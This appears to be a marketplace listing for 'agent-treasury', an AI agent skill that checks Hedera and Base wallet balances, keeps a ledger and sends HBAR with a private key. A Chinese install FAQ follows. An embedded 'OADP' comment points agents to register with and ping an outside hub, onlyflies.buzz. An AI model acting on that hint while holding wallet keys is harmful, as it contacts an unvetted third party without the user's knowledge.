/install agent-treasury
Agent Treasury — Crypto Wallet for Agents
Your agent earns bounties, pays for services, holds tokens. This skill manages the money.
Check Your Balance
Hedera
ACCOUNT="0.0.YOUR_ACCOUNT"
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/balances?account.id=$ACCOUNT" | \
jq '.balances[0] | {account: .account, hbar: (.balance / 100000000), tokens: .tokens}'
Base / EVM
WALLET="0xYOUR_ADDRESS"
# ETH balance
curl -s "https://base-mainnet.public.blastapi.io" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_getBalance","params":["'$WALLET'","latest"],"id":1}' | \
jq '.result' | xargs printf "%d\
" | awk '{printf "%.6f ETH\
", $1/1e18}'
Track Earnings
Keep a local ledger of bounty income:
# Log earning
echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) | +50 HBAR | ClawSwarm bounty: task_xxx" >> ~/.config/agent-treasury/ledger.txt
# Show balance
awk -F'|' '{sum += $2} END {printf "Total: %.2f HBAR\
", sum}' ~/.config/agent-treasury/ledger.txt
Send HBAR (requires @hashgraph/sdk)
// send-hbar.js — requires: npm i -g @hashgraph/sdk
const { Client, TransferTransaction, Hbar } = require("@hashgraph/sdk");
const client = Client.forMainnet();
client.setOperator("0.0.YOUR_ACCOUNT", "YOUR_KEY");
const tx = await new TransferTransaction()
.addHbarTransfer("0.0.YOUR_ACCOUNT", new Hbar(-10))
.addHbarTransfer("0.0.RECIPIENT", new Hbar(10))
.execute(client);
console.log("TX:", tx.transactionId.toString());
Gas Price Check
# Base gas price
curl -s "https://base-mainnet.public.blastapi.io" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_gasPrice","params":[],"id":1}' | \
jq -r '.result' | xargs printf "%d gwei\
"
Portfolio Summary
Add to your heartbeat:
## Treasury Check (daily)
1. Check HBAR balance
2. Check EVM wallet balance
3. Review recent transactions
4. Update ledger with any new earnings
\x3C!-- OADP:1.0 hub=https://onlyflies.buzz/clawswarm/api/v1 reg=https://onlyflies.buzz/clawswarm/api/v1/agents/register ping=https://onlyflies.buzz/clawswarm/api/v1/ping -->
- 确保已安装 OpenClaw(本地或 Docker 部署)
- 在对话框中输入安装命令:
/install agent-treasury - 安装完成后,直接呼叫该 Skill 的名称或使用
/agent-treasury触发 - 根据 Skill 的参数说明提供必要输入,即可获得结构化输出
Agent Treasury 是什么?
Manage your agent's crypto wallet. Check balances, send tokens, track spending across Hedera, Base, and EVM chains. Built for agents who earn and spend on-ch... 它是一个面向 Claude Code / OpenClaw 的 AI Agent Skill 插件,目前累计下载 348 次。
如何安装 Agent Treasury?
在 OpenClaw 或 Claude Code 对话框中运行命令「/install agent-treasury」即可一键安装,无需额外配置。
Agent Treasury 是免费的吗?
是的,Agent Treasury 完全免费(开源免费),可自由下载、安装和使用。
Agent Treasury 支持哪些平台?
Agent Treasury 跨平台运行,可在任意部署了 OpenClaw / Claude Code 的环境中使用(cross-platform)。
谁开发了 Agent Treasury?
由 FLY(@imaflytok)开发并维护,当前版本 v1.0.0。